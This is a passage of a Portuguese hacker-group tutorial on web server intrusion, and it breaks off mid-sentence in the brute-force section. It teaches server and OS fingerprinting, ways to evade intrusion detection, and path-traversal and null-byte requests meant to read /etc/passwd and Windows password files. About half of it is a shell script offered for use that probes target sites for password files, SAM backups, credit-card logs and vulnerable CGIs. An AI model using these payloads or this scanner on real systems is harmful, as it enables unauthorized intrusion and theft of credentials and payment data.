############################################################################# ############################ UNSEKURITY TEAM ################################ ############################################################################# Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Este e outros artigos podem ser obtidos em: http://unsekurity.virtualave.net/ OBS: Todos os dados e exemplos descritos neste arquivo possuem somente propositos educacionais, o autor nao se responsabiliza pelo mau uso dos mesmos. OBS2: Este artigo eh voltado ao pessoal NewBie Fucador, se voce se considera elite, nao perca seu tempo lendo este humilde artigo! ************************ * HACKING DE WEB * ************************ -------------------------------- INDICE ----------------------------------- 1 - INTRODUCAO 2 - POSSIVEIS TECNICAS 2.1. - Descobrindo o Servidor 2.2. - Vulnerabilidades no Servidor 2.3. - Furos em CGIs 2.4. - Furos em HTML 2.5. - Brutal Force 3 - BACKDOORS 3.1. - HTTP Tunel 3.2. - Backdoor em CGI. 4 - TERMINANDO 4.1 - Links e Referencias 4.2 - Consideracoes Finais --------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- Existem centenas de Script Kiddies mudando paginas Internet a fora atraves de mas implementacoes de Servidores WEB.No entanto, o Servidor WEB mais atacado eh o que menos se encontra em redes dita 'seguras'.Neste artigo eu pretendo abordar alguns esquemas bem mais uteis que apenas alterar uma pagina do servidor, e tambem pretendo descrever formas basicas de se atacar um Servidor WEB mais seguro, num Sistema Operacional menos Inseguro (Varios Unix).Este eh mais um artigo que possui como alvo a divulgacao de Conceitos e Teorias ao pessoal NewBie Fucador, logo, se voce eh um usuario avancado nao irah encontrar nada de util aqui! Conhecimentos basicos de TCP/IP e implementacoes Servidoras de HTTP se faz necessario, ademais um bom sistema operacional(nao windows) para se testar os esquemas pode ser uma boa opcao. ----------------------- 2 - POSSIVEIS TECNICAS | ----------------------- A grande maioria dos Administradores de Redes sao muito displicentes quando se trata de servidores de HTTP.Basta notarmos o grande numero de Servidores WEB invadidos e alterados via tecnicas amplamente divulgadas na Internet. As tecnicas que pretendo descrever aqui sao amplamente difundidas na Internet e as implementacoes que envolvem as mesmas tambem jah sao um fato, muitas vezes consumado, caberah a voce, amigo NewBie, ir mais fundo nas tecnicas envolvidas e no crescimento de um aprendizado maior dos conceitos envolvidos. Hoje em dia, a grande maioria dos fucadores prefere primeiro investir num servico 'reconhecidamente' aberto, pois em redes ditas "seguras"(entre aspas) uma simples implementacao de uma tecnica de scaneamento ou probe, como quiser, seria um desastre total, voce correria um grande risco de ser detectado e ateh mesmo rastreado, alem de que o IDS poderia barrar pacotes enviados por voce, gastando assim um enorme tempo 'a toa'. Grande parte da Comunidade de Seguranca ainda possui este conceito de um atacante usando uma ferramenta como SATAN (hj em dia a moda eh o NMAP) procurando portas abertas e em alguns casos ateh vulnerabilidades(Via Sscan, NSS, VeteScan e etc).Sem duvida que tem casos que isto pode ser usado ainda, na realidade na grande maioria das redes isto ainda eh possivel e tambem em redes menores e que voce sabe que nao terah uma Ferramenta de IDS a sua espera.Mas redes mais dificeis esta nao eh uma boa tecnica, entao, um fucador certamente irah deixar isto para ultimo caso, e irah visar primeiro as portas reconhecidamente abertas para todo mundo. Uma dessas portas, e creio eu, a mais facilmente achada aberta no momento eh a porta 80(www), logo, um atacante poderia primeiro procurar obter acesso sobre esta porta sem nem mesmo dar uma 'scaneada' no host alvo atras de portas de servicos abertas, evitando assim um FireWall e ateh mesmo um IDS.Abaixo eu enumero alguns possiveis esquemas a serem implementados num ataque a porta 80. 2.1. - Descobrindo o Sevidor ------------------------------ Descobrir com exatidao o Servidor WEB pode nao ser uma das tarefas mais faceis em redes ditas 'seguras', pois a obtencao via BANNER pode nao ser efetiva.Descreverei aqui os metodos mais usados para se tentar descobrir qual Servidor WEB se estah rodando num host e qual Sistema Operacional o mesmo possui: * Obtencao do Servidor WEB via BANNER: Todos os Servidores WEB possuem BANNERS padroes que na maioria das vezes nao sao alterados.Em redes ditas 'seguras', certamente o Administrador da Rede farah esforcos para retirar o Banner do Servidor WEB.Sao varias as formas usadas para se tentar descobrir qual eh o Servidor WEB via banner, algumas delas seguem abaixo: + Browsers -> Atraves do seu proprio Browser voce pode obter informacoes sobre o Servidor WEB.No lynx, o modo mais facil eh acessarmos uma pagina do servidor alvo e digitar '='(igual).No site http://unsekurity.virtualave.net/ temos o seguinte: Linkname: Unsekurity Team URL: http://unsekurity.virtualave.net/ Charset: iso-8859-1 Server: Apache/1.2.6 Date: Sat, 22 Jul 2000 08:13:46 GMT Owner(s): None size: 25 lines mode: normal Uma coisa nos interessa, os dados sobre o Servidor WEB: Server: Apache/1.2.6 Mas Fica dificil saber qual Sistema Operacional o Servidor Alvo estah Executando, no entanto, as chances dele estar executando Apache sao consideraveis. + Netcat -> O Canivete Suico da L0pht mais uma vez eh util na tentativa de obtencao do Servidor WEB, o netcat pode perfeitamente ser usado para descobrir dados da seguinte forma: [localhost]# nc www.alvo.com.br 80 get HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Sat, 22 Jul 2000 08:49:22 GMT Content-Type: text/html Content-Length: 87 ErrorThe parameter is incorrect. Como podemos ver, ele denunciou qual servidor estah sendo executado atraves de um simples envio de 'get': Server: Microsoft-IIS/5.0 As Chances do sistema operacional deste alvo ser um Windows NT sao consideraveis. + NetCraft -> Netcraft eh um exemplo de um site que nos informa qual Servidor WEB estah sendo executado num determinado alvo. Ele eh bastante util, pois pode fortalecer nosso anonimato quando usado em conjunto com tecnicas de Bouncing ou Spoof. Abaixo seguem dois links onde se pode procurar obter dados de um Servidor WEB via NetCraft: http://www.netcraft.com/whats/ http://www.ussrback.com/principal.html Dificilmente eu chego a usar isto e devem existir bem mais por aih, como se leva em consideracao a seguranca de uma rede alvo, dependendo do caso usar ferramentas via sites como o da NetCraf nao eh aconselhavel, pois talvez quanto mais anonimo voce estiver, melhor, se um Administrador experiente ver uma requisicao vindo deste site, ele irah ficar alerta esperando alguma invasao. * Obtencao do Sistema Operacional Obter o Sistema Operacional em redes ditas 'seguras' eh outro problema. Um das tecnica mais usadas atualmente eh a obtencao do Sistema Operacional atraves da tecnica conhecida como 'TCP/IP Stack Fingerprint', que procura descobrir qual eh o sistema operacional do host alvo atraves de um banco de dados contendo informacoes da implemetacao do Stack do TCP/IP e suas particularidades em varios sistemas operacionais diferentes.Algumas ferramentas scanners(Queso,Nmap, etc) trabalham em cima deste conceito, enviando um pacote e analisando o pacote de resposta dado pelo servidor. Abaixo segue um exemplo desta tecnica utilizando o Nmap: [localhost]# nmap -sX -O localhost 80 Starting nmap V. 2.3BETA4 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) WARNING: OS didn't match until the 3 try Interesting ports on localhost (IP do Alvo): Port State Protocol Service 80 open tcp http TCP Sequence Prediction: Class=random positive increments Difficulty=1108477 (Good luck!) Remote operating system guess: Linux 2.2.0-pre6 - 2.2.2-ac5 Note que ele nos denunciou um Servidor Linux, em alguns casos, com bons banco de dados, esta tecnica pode ser bastante efetiva, mas em sistemas mais 'seguros', isto falha. * Problemas : Como eu disse no inicio, existem Administradores que mudam os BANNERS, por isso, nao se deve confiar muito na obtencao exata do Servidor WEB via BANNER. Mas, voce pode ter uma ideia de qual realmente eh o Servidor WEB atraves de uma uniao de dados obtidos via BANNER, Sistema Operacional, Programas que Interagem com com o Servidor WEB(como scripts ASP, Banco de Dados, etc) e etc.Deve-se agir sempre com bom senso quando se tenta descobrir qual SO e qual WEB Server um determinado host estah executando.Abaixo segue um site que deve ter seu BANNER alterado(capturado via lynx): Linkname: Welcome to Rootshell | Hosted by connectnet.com URL: http://rootshell.com/beta/news.html Charset: iso-8859-1 Server: Rootshell/1.0.0 (--) Date: Sun, 25 May 1997 05:14:36 GMT Last Mod: Wed, 02 Apr 1997 17:04:36 GMT Owner(s): None size: 414 lines mode: forms mode Note o 'Server', nao conheco este servidor de http, creio que o BANNER foi alterado com sucesso no caso acima. 2.2. - Vulnerabilidades no Servidor ------------------------------------ Sem duvida, que esta eh a Tecnicas mais difundida e usada no momento. Condicoes de Buffer Overflow, mah configuracao de programas, Furos no Servidor WEB, enfim, nao sao poucas as vulnerabilidades encontradas ultimamente nos servidores WEB, especialmente no famoso IIS da Microsoft. Mas como nosso cenario eh outro(estamos supondo uma rede que leve em consideracao a seguranca, logo, as chances de voce achar uma rede deste tipo usando Windows sao pouquissimas!!), o principal programa servidor no momento eh o Apache.O Apache eh um programa complexo que goza de um certo respeito pela Comunidade Hacker por possuir seu codigo fonte aberto.Mas como eu disse, eh um programa complexo, que cada vez mais vem tendo um aumento de linhas de codigos e de funcoes, logo, as chances de se descobrir um furo no Servidor Apache sao consideraveis.Um fucador deve pesquisar incessantemente os programas ditos 'mais seguros' e procurar furos no mesmo. Conseguindo descobrir um furo 'perigoso' num desses programas, redes ditas "seguras" podem facilmente serem 'conquistadas' por ele. Quanto aos outros servidores, o IIS demonstrou e vem demonstrando ser uma verdadeira peneira, logo, ao meu ver o numero de redes ditas 'seguras' usando isto sao poucas e deve diminuir cada vez mais.Existem varios outros servidores de HTTP, alguns especificos para determinada plataforma(Sistema Operacional) que devem conter inumeras vulnerabilidades.Abaixo eu enumero alguns deles e aonde voce pode encontrar informacoes sobre os mesmos: America On Line Server(AOL) - http://aolserver.com/dist/aolserver3_0/ Apache - http://www.apache.org/dist/ Zeus WEB Server - http://www.zeustechnology.com/downloads/ StrongHold(Apache + SSL) - http://www.int.c2.net/ Sendo que destes acima, eh mais facil encontrarmos o ultimo, 'StrongHold, ou algum Apache com Criptografia Forte em redes ditas 'seguras'. Agora, para que voce possa estar apto para nao soh procurar e descobrir furos, mas acima de tudo 'exploita-los' recomendo muito estudo! As tecnicas de 'Auditoria de Software' sao varias, mas nao basta soh isso, voce precisa fucar,nao adianta somente ter a teoria, conhecer o conceito, mas acima de tudo, voce precisa fucar!! Como se fuca??? Execute o programa de formas diferentes,interaga ele com outros, mecha, altere coisas nele, crie situacoes, tente exploita-lo via tecnicas jah difundidas, procure furos no codigo fonte, veja a reacao dele a determinadas acoes maliciosas, enfim fuce!! Mexa nele de forma diferente! Acredite sempre que lah tem um furo a sua espera!!O dominio de algumas tecnicas se faz necessario, mas mesmo sem saber muito sobre elas, nada o impede que voce fuce e busque mesmo um furo na 'doida'!! Isso mesmo, tente achar na marra!!Abaixo seguem furos jah divulgados que envolvem um servidor WEB ou algum programa que interaja com Servidores WEB: * BUFFER OVERFLOWS -> Tecnica Classica que jah possui material divulgado pelo Unsekurity Team.Consiste em atraves do envio de dados ou parametros para o servidor WEB ou algum programa banco de dados ou que interaja com o servidor WEB, o atacante consiga gerar um estouro de buffer executando codigo malicioso no servidor alvo. Exemplo desta tecnica eh um furo no IIS 4.0. * META CARACTERES -> Este eh um problema comum em script CGIs que veremos mais abaixo, mas eh possivel que algum arquivo do servidor WEB nao filtre direito metacaracteres e deixe passar varios tipos de requicicoes como "../../../", "/..../" e etc. Exemplo desta Tecnica pode ser visto no FrontPage 3.0.2 que nao filtrava alguns meta caracteres permitindo requisicoes, como a vista abaixo: http://www.alvo.com/..../Windows/Admin.pwl; * PERMISSOES -> Alguns Scripts podem vir com permissoes de escrita ou execucao para todo mundo, ateh mesmo existem executaveis de carregamento e download de arquivos que podem ser usados por atacantes para enviar e executar arquivos no servidor alvo.Exemplo disso eh um bug do Frontpage, onde se pode enviar e sobrescrever uma pagina do servidor sem a necessidade de autenticacao. * MAH CONFIGURACAO -> O 'Furo' acima pode muito bem ser caracterizado aqui, neste item, onde atraves de erros de configuracao determinadas situacoes podem ser usadas para se tirar proveito, o atacante teria antes que simular diversas maneiras de configuracao de um servidor WEB.Um exemplo disso eh o problema com PHP, sendo que jah tem um artigo do Unsekurity Team abordando este problema, no qual eh possivel executar qualquer script PHP, inclusive uma bindshell em qualquer diretorio do servidor alvo. * PROGRAMAS INTERATIVOS -> Banco de Dados, Script CGIs, WebForum, Scripts de Formularios, Programas de WebMail, enfim, hoje em dia existe um 'leque' de opcoes de programas que sao usados em conjunto com o servidor WEB.No caso de redes ditas "seguras", procurar furos em aplicativos que interagem ou recebem parametros e dados via Servidor WEB pode ser uma boa opcao.Varios sao os furos encontrados em milhares destes programas sendo que as tecnicas descritas acima tambem se aplicam a esses programas. Exemplo disto eh o UltraBoard 2000 CGI usado para programas de WEBForum que nao filtra o NULL byte (\000) e permite varios tipos de exploitacao. A Requisicao abaixo pode consumir os recursos de um sistema: QUERY_STRING=Session=../UltraBoard.pl%00%7c outro mais perigoso poderia ser: QUERY_STRING=Session=../UltraBoard.pl ?Action=PrintableTopic ?Post=../../etc/passwd\000 ?Board=IDS?Idle=10?Sort=0?Page=0 Se o servidor estah bugado, teriamos entao o passwd na tela. * OUTROS -> Condicoes de Denial Of Service sao bastante comuns em Servidores WEB, mais uma vez o alvo preferido eh a peneira do IIS da Microsoft.Como eu jah disse, em alguns casos o Denial of Service pode ser uma excelente tecnica efetiva principalmente na reinicializacao de um Servidor NT, no entanto devemos nos lembrar do IDS e contemplar que perigos estaremos correndo frente a este programa. Fique atento as publicacoes do Unsekurity Team, pois eh nosso objetivo expandir e trocar mais informacoes sobre todas as tecnicas usadas por fucadores em toda e qualquer implementacao, inclusive no hacking de WEB. 2.3. - Furos em CGIs ---------------------- Este eh um problema muito encontrado e merece um 'Tutorial' a parte que em breve deverah ser publicado pelo pessoal do Unsekurity Team.Sao varios os possiveis problemas encontrados em Scripts CGIs e as formas de se exploita-los.Irei descrever algumas coisas bem basicas, mas em breve deve sair um material mais amplo sobre esta materia('Escrita e Problemas de CGIs'). CGI significa Common Gateway Interface e se refere aos programas que executam determinadas tarefas atraves de um servidor WEB, inclusive comandos shell no Servidor Alvo.Abaixo seguem alguns problemas comuns em Scripts CGIs: * Chamadas Para o Sistema: Se o Script cgi nao seta corretamente meta-caracteres e caracteres ASCII, o Servidor WEB corre um serio risco.Se o atacante possui acesso local ao sistema, ele pode setar a variavel Environment 'PATH' e tentar executar codigo malicioso como usuario comum. * Abertura de Arquivos: Varios problemas que tambem envolvem meta-caracters e variaveis environment.Em alguns casos eh possivel redirecionar entradas e saidas. Um Tutorial mais amplo estah a caminho, nele poderemos ver exemplo praticos e especificos que envolvem estes problemas em algumas linguagens para escrita de CGIs. Procurar um CGI valido numa rede complexa e grande tambem nao eh nada facil. Existem centenas de programas que procuram CGIs automaticamente em servidores WEB, mas a grande maioria, quase todos, nao sao bons programas. Abaixo segue um script criado por ben-z que vem junto com o Vetescan e alterado por mim para facilitar ainda mais o seu uso: ----------------------------- cgichk.sh --------------------------------- #!/bin/sh # cgiscan.sh by ben-z [3/23/99] # written for use in fts-rvscan # Alterado por Nash Leon. # Uso: ./cgichk www.alvo.com # OBS: Necessita do Netcat instalado em sua maquina(nc). if [ "$#" != 1 ]; then echo "CGI - Scanner by ben-z e Alterado por Nash Leon." echo "Uso: sh cgichk.sh "; echo " " echo "Exemplo: sh cgichk.sh www.alvo.com" exit 1 fi clear echo "CGI-Scanner by ben-z e Alterado por Nash Leon" echo "Comecando Scaneamento...." echo " " contador="0" rm cgilist 1>/dev/null 2>/dev/null function testcgi { contador=`expr $contador + 1` echo -n "[$contador]: Procurando http://$1$2 [**] " cmsg=" timeout [005]" rm .tmp 1>/dev/null 2>/dev/null ycgi="0" (echo "GET $2" ; sleep 1) | nc -w 4 $1 80 1>.tmp 2>.tmp cat .tmp | grep -i "<" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Encontrado!" ycgi="1" fi cat .tmp | grep -i "not found" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg="Nao Encontrado [000]" ycgi="0" fi cat .tmp | grep "404" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Nao Encontrado [404]" ycgi="0" fi cat .tmp | grep "403" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Acesso Negado [403]" ycgi="0" fi cat .tmp | grep "500" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Falha no Servidor [500]" ycgi="0" fi cat .tmp | grep "505" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Redirecionada [505]" ycgi="0" fi cat .tmp | grep "302" >/dev/null 2>&1 if [ $? -eq 0 ]; then cmsg=" Indisponivel [302]" ycgi="0" fi echo $cmsg if [ "$ycgi" = "1" ]; then echo "http://$1$2" >>cgilist fi } if [ "$2" != "" ]; then testcgi $1 $2 exit 1 fi testcgi $1 /....../ all testcgi $1 /....../config.sys testcgi $1 /....../etc/hosts testcgi $1 /../../../../ all testcgi $1 /../../../../../../../boot.ini testcgi $1 /../../../../../winnt/repair/sam._ testcgi $1 /../../../../config.sys testcgi $1 /../../../../etc/hosts testcgi $1 /.access testcgi $1 /.bash_history testcgi $1 /.htaccess testcgi $1 /.html/............./config.sys testcgi $1 /.htpasswd testcgi $1 /.passwd testcgi $1 /ASPSamp/AdvWorks/equipment/catalog_type.asp testcgi $1 /Admin_files/order.log testcgi $1 /AdvWorks/equipment/catalog_type.asp testcgi $1 /Orders/order.log testcgi $1 /PDG_Cart/order.log testcgi $1 /PDG_Cart/shopper.conf testcgi $1 /PSUser/PSCOErrPage.htm testcgi $1 /WebShop/logs/cc.txt testcgi $1 /WebShop/logs/ck.log testcgi $1 /WebShop/templates/cc.txt testcgi $1 /_private testcgi $1 /_vti_bin/_vti_aut/dvwssr.dll testcgi $1 /_vti_bin/fpcount.exe testcgi $1 /_vti_inf.html testcgi $1 /_vti_pvt testcgi $1 /_vti_pvt/administrators.pwd testcgi $1 /_vti_pvt/authors.pwd testcgi $1 /_vti_pvt/service.pwd testcgi $1 /_vti_pvt/shtml.dll testcgi $1 /_vti_pvt/shtml.exe testcgi $1 /_vti_pvt/users.pwd testcgi $1 /adsamples/config/site.csc testcgi $1 /bin testcgi $1 /carbo.dll testcgi $1 /ccbill/secure/ccbill.log testcgi $1 /cfdocs/cfmlsyntaxcheck.cfm testcgi $1 /cfdocs/exampleapp/docs/sourcewindow.cfm testcgi $1 /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini testcgi $1 /cfdocs/expelval/displayopenedfile.cfm testcgi $1 /cfdocs/expelval/exprcalc.cfm testcgi $1 /cfdocs/expelval/openfile.cfm testcgi $1 /cfdocs/expelval/sendmail.cfm testcgi $1 /cfdocs/snippets/fileexists.cfm testcgi $1 /cfdocs/snippets/viewexample.cfm testcgi $1 /cgi testcgi $1 /cgi-bin testcgi $1 /cgi-bin/AT-admin.cgi testcgi $1 /cgi-bin/AT-generate.cgi testcgi $1 /cgi-bin/Admin_files/order.log testcgi $1 /cgi-bin/AnyForm2 testcgi $1 /cgi-bin/Cgitest.exe testcgi $1 /cgi-bin/Count.cgi testcgi $1 /cgi-bin/FormHandler.cgi testcgi $1 /cgi-bin/GW5/GWWEB.EXE testcgi $1 /cgi-bin/UltraBoard.cgi testcgi $1 /cgi-bin/UltraBoard.pl testcgi $1 /cgi-bin/add_ftp.cgi testcgi $1 /cgi-bin/adp testcgi $1 /cgi-bin/adpassword.txt testcgi $1 /cgi-bin/ads.setup testcgi $1 /cgi-bin/aglimpse testcgi $1 /cgi-bin/alibaba.pl testcgi $1 /cgi-bin/allmanage.pl testcgi $1 /cgi-bin/allmanage/adp testcgi $1 /cgi-bin/allmanage/k testcgi $1 /cgi-bin/allmanage/settings.cfg testcgi $1 /cgi-bin/allmanage/userfile.dat testcgi $1 /cgi-bin/allmanageup.pl testcgi $1 /cgi-bin/anyboard.cgi testcgi $1 /cgi-bin/architext_query.pl testcgi $1 /cgi-bin/authorize/dbmfiles/users testcgi $1 /cgi-bin/ax-admin.cgi testcgi $1 /cgi-bin/ax.cgi testcgi $1 /cgi-bin/bigconf.cgi all testcgi $1 /cgi-bin/bizdb1-search.cgi testcgi $1 /cgi-bin/bnbform.cgi testcgi $1 /cgi-bin/cachemgr.cgi testcgi $1 /cgi-bin/calender.pl testcgi $1 /cgi-bin/calender_admin.pl testcgi $1 /cgi-bin/campas testcgi $1 /cgi-bin/cart.pl testcgi $1 /cgi-bin/cgiwrap testcgi $1 /cgi-bin/classifieds.cgi testcgi $1 /cgi-bin/clickresponder.pl testcgi $1 /cgi-bin/cmd.exe testcgi $1 /cgi-bin/counterfiglet testcgi $1 /cgi-bin/dbmlparser.exe testcgi $1 /cgi-bin/dig.cgi testcgi $1 /cgi-bin/dnewsweb testcgi $1 /cgi-bin/edit.pl testcgi $1 /cgi-bin/environ.cgi testcgi $1 /cgi-bin/excite testcgi $1 /cgi-bin/faxsurvey testcgi $1 /cgi-bin/filemail.pl testcgi $1 /cgi-bin/files.pl testcgi $1 /cgi-bin/finger testcgi $1 /cgi-bin/finger.pl testcgi $1 /cgi-bin/formmail.pl testcgi $1 /cgi-bin/fpcount.exe testcgi $1 /cgi-bin/fpexplore.exe testcgi $1 /cgi-bin/gH.cgi testcgi $1 /cgi-bin/get32.exe testcgi $1 /cgi-bin/glimpse testcgi $1 /cgi-bin/guestbook.cgi testcgi $1 /cgi-bin/handler testcgi $1 /cgi-bin/htimage.exe testcgi $1 /cgi-bin/htmlscript testcgi $1 /cgi-bin/htsearch testcgi $1 /cgi-bin/htsearch testcgi $1 /cgi-bin/iisadmpwd/achg.htr testcgi $1 /cgi-bin/iisadmpwd/aexp.htr testcgi $1 /cgi-bin/iisadmpwd/aexp2.htr testcgi $1 /cgi-bin/iisadmpwd/anot.htr testcgi $1 /cgi-bin/imagemap.exe testcgi $1 /cgi-bin/info2www testcgi $1 /cgi-bin/infosrch.cgi testcgi $1 /cgi-bin/input.bat testcgi $1 /cgi-bin/input2.bat testcgi $1 /cgi-bin/jj testcgi $1 /cgi-bin/k testcgi $1 /cgi-bin/loadpage.cgi testcgi $1 /cgi-bin/mailform.exe testcgi $1 /cgi-bin/maillist.pl testcgi $1 /cgi-bin/makechanges/easysteps/easysteps.pl testcgi $1 /cgi-bin/man.sh testcgi $1 /cgi-bin/netstat testcgi $1 /cgi-bin/nph-publish testcgi $1 /cgi-bin/nph-test-cgi testcgi $1 /cgi-bin/passwd testcgi $1 /cgi-bin/passwd.txt testcgi $1 /cgi-bin/perl.exe testcgi $1 /cgi-bin/perlshop.cgi testcgi $1 /cgi-bin/pfdispaly.cgi testcgi $1 /cgi-bin/pfdisplay testcgi $1 /cgi-bin/pfdisplay.cgi testcgi $1 /cgi-bin/phf testcgi $1 /cgi-bin/php.cgi testcgi $1 /cgi-bin/plusmail testcgi $1 /cgi-bin/postcard.pl testcgi $1 /cgi-bin/printenv testcgi $1 /cgi-bin/process_bug.cgi testcgi $1 /cgi-bin/query testcgi $1 /cgi-bin/responder testcgi $1 /cgi-bin/rguest.exe testcgi $1 /cgi-bin/rpm_query testcgi $1 /cgi-bin/rwwwshell.pl testcgi $1 /cgi-bin/search.cgi testcgi $1 /cgi-bin/settings.cfg testcgi $1 /cgi-bin/sojourn testcgi $1 /cgi-bin/survey.cgi testcgi $1 /cgi-bin/test-cgi testcgi $1 /cgi-bin/test.bat testcgi $1 /cgi-bin/textcounter.pl testcgi $1 /cgi-bin/tpgnrock testcgi $1 /cgi-bin/tst.bat testcgi $1 /cgi-bin/tst.bat testcgi $1 /cgi-bin/unlg1.1 testcgi $1 /cgi-bin/unlg1.2 testcgi $1 /cgi-bin/userfile.dat testcgi $1 /cgi-bin/view-source testcgi $1 /cgi-bin/visadmin.exe testcgi $1 /cgi-bin/w3-msql/ testcgi $1 /cgi-bin/webbbs.cgi testcgi $1 /cgi-bin/webdist.cgi testcgi $1 /cgi-bin/webplus testcgi $1 /cgi-bin/websendmail testcgi $1 /cgi-bin/webwho.pl testcgi $1 /cgi-bin/wguest.exe testcgi $1 /cgi-bin/whois_raw.cgi testcgi $1 /cgi-bin/windmail.exe testcgi $1 /cgi-bin/wrap testcgi $1 /cgi-bin/www-sql testcgi $1 /cgi-bin/wwwadmin.pl testcgi $1 /cgi-bin/wwwboard.pl testcgi $1 /cgi-dos/args.bat testcgi $1 /cgi-dos/args.cmd testcgi $1 /cgi-local testcgi $1 /cgi-shl/win-c-sample.exe testcgi $1 /cgi-src testcgi $1 /cgi-src/phf.c testcgi $1 /cgi-win testcgi $1 /cgi-win/uploader.exe testcgi $1 /cgibin testcgi $1 /com1 testcgi $1 /com2 testcgi $1 /com3 testcgi $1 /com4 testcgi $1 /con/con testcgi $1 /config/checks.txt testcgi $1 /config/import.txt testcgi $1 /config/mountain.cfg testcgi $1 /config/orders.txt testcgi $1 /default.asp. testcgi $1 /default.asp::$DATA testcgi $1 /doc testcgi $1 /iisadmpwd/aexp2.htr testcgi $1 /iishelp/iis/misc/iirturnh.htw testcgi $1 /iissamples/exair/howitworks/codebrws.asp testcgi $1 /iissamples/exair/search/advsearch.asp testcgi $1 /iissamples/exair/search/qfullhit.htw testcgi $1 /iissamples/exair/search/qsumrhit.htw testcgi $1 /iissamples/iissamples/query.asp testcgi $1 /iissamples/issamples/oop/qfullhit.htw testcgi $1 /iissamples/issamples/oop/qsumrhit.htw testcgi $1 /iissamples/sdk/asp/docs/codebrws.asp testcgi $1 /log testcgi $1 /logs testcgi $1 /mall_log_files/order.log testcgi $1 /manage/cgi/cgiproc testcgi $1 /msadc/Samples/SELECTOR/showcode.asp testcgi $1 /msadc/msadcs.dll testcgi $1 /msads/Samples/SELECTOR/showcode.asp testcgi $1 /ncl_items.html testcgi $1 /order/order.log testcgi $1 /orders/checks.txt testcgi $1 /orders/import.txt testcgi $1 /orders/mountain.cfg testcgi $1 /orders/order.log testcgi $1 /orders/orders.txt testcgi $1 /ping all testcgi $1 /ping?SomeCrapHere testcgi $1 /piranha/secure/passwd.php3 testcgi $1 /pw/storemgr.pw testcgi $1 /quikstore.cfg testcgi $1 /samples/search/queryhit.htm testcgi $1 /scripts testcgi $1 /scripts/CGImail.exe testcgi $1 /scripts/c32web.exe/ChangeAdminPassword testcgi $1 /scripts/cart32.exe/cart32clientlist testcgi $1 /scripts/cmd.exe testcgi $1 /scripts/convert.bas testcgi $1 /scripts/counter.exe testcgi $1 /scripts/dbman/db.cgi?db=invalid-db testcgi $1 /scripts/emurl/RECMAN.dll testcgi $1 /scripts/fpcount.exe testcgi $1 /scripts/iisadmin/ism.dll?http/dir testcgi $1 /scripts/issadmin/bdir.htr testcgi $1 /scripts/no-such-file.pl testcgi $1 /scripts/proxy/w3proxy.dll testcgi $1 /scripts/slxweb.dll testcgi $1 /scripts/tools/mkilog.exe testcgi $1 /scripts/tools/newdsn.exe testcgi $1 /scripts/uploadn.asp testcgi $1 /scripts/wa.exe testcgi $1 /scripts/webbbs.exe testcgi $1 /scripts/wsisa.dll testcgi $1 /search97.vts testcgi $1 /server-status testcgi $1 /showfile.asp testcgi $1 /ssi/envout.bat testcgi $1 /ws_ftp.ini testcgi $1 /~ testcgi $1 /~bin testcgi $1 /~guest testcgi $1 /~log testcgi $1 /~logs testcgi $1 /~lp testcgi $1 /~named testcgi $1 /~root testcgi $1 /~test testcgi $1 /~tmp --------------------------------------------------------------------------- Como voce pode ver ele procura muito CGI, isto nao eh nada bom, mas estou colocando apenas para exemplificar uma automacao de CGI.Na maioria das vezes ele dah uma resposta errada, pois o comportamento de resposta de um Servidor WEB muda muito, veremos isso mais em detalhes na parte de Brutal Forces.No entanto se ele encontrar uma vulnerabilidade, ou seja, um CGI valido, como sao muitos CGIs fica praticamente impossivel voce ter em mente uma 'exploitacao' associada a cada uma das centenas de possibilidades que possa vir a surgir, eu recomendo o seguinte: Vai em "http://www.securityfocus.com/search" e manda procurar na 'BugTraq' informacoes a respeito do CGI que voce encontrou.Os mais velhos conhecem bem a mais conhecida tecnica de exploitacao de CGI que eu jah vih, a do 'PHF' e por incrivel que pareca, ainda hoje existem servidores vulneraveis a isto. 2.4. - Furos em HTML --------------------- Se os CGIs sao um problema serio, os Furos em HTML conseguem ser ainda piores.Mah implementacao de paginas HTML pode significar um serio risco a seguranca de uma rede, no entanto, como isto eh uma pratica comum de usuarios leigos, um dominio que serve paginas para muitas pessoas pode ser um alvo em potencial. * Problemas com SSI: SSI se refere a Server Side Includes(Inclusoes do Lado do Servidor).Eh um esquema para uso na WEB que fornece um mecanismo de funcionalidade interativa de tempo real sem programacao.Ele eh usado por exemplo para obter a data/hora do sistema ou para executar um comando local e avaliar a resposta a fim de tomar uma decisao de fluxo de programa.Sao varios os recursos SSI, inclusive, echo,include,fsize,flastmod,exec,config,odbc, email,if,goto,label e break.Dois comandos destes nos sao de maior interesse que eh exec e email.Tambem abordarei os SSI num outro txt, mas se voce quer ir adiantando, no link abaixo voce pode ver mais coisas sobre isto: http://www.absoluta.org/cgi/cgi_ssi.htm * Problemas com Marcas Hidden: Marcas Hidden sao usadas para ocultar determinados parametros em uma pagina HTML.No entanto se um atacante obtem acesso ao codigo fonte(trivial neste caso) ele pode alterar os atributos de uma marca hidden e atraves do browser se beneficiar deste esquema. 2.4. - Brutal Force -------------------- Hoje em dia um conceito dominante quando se 'luta' contra ferramentas IDS eh o seguinte: "SE TEM IDS, BRUTAL FORCE NEM PENSAR!"; Esta tecnica eh uma tecnica muito "barulhenta", eh muito dificil nao deixar rastros que qualquer Administrador de Redes responsavel nao detecte.Deve-se ter muito cuidado com a implementacao desta tecnica, mas pode ser uma boa tecnica em sistemas que utilizam Firewalls em servicos de Autenticacao(ssh, pop, imap, telnet e etc), mas nao usam IDS ou nao configuram um IDS para prestar atencao a Conexoes num servico de autenticacao via porta 80. Os esquemas para implementacao de um Brutal Force a um Servidor WEB variam muito, pois a resposta dada as requisicoes de Autenticacao podem ser diversas e na maioria dos casos 'exclusivas' ou seja, o atacante deve estar preparado para personalizar sua ferramenta para se adaptar as respostas dada pelo Servidor WEB.O Melhor esquema de Ferramenta para Brutal Force que pode existir, ao meu ver, eh justamente criar um Brutal Force especifico para a rede alvo. Existem varios brutais forces disponiveis na Internet para implementar uma investida no servidor WEB, na parte 'Links e Referencias' eu disponibilizo alguns Brutal 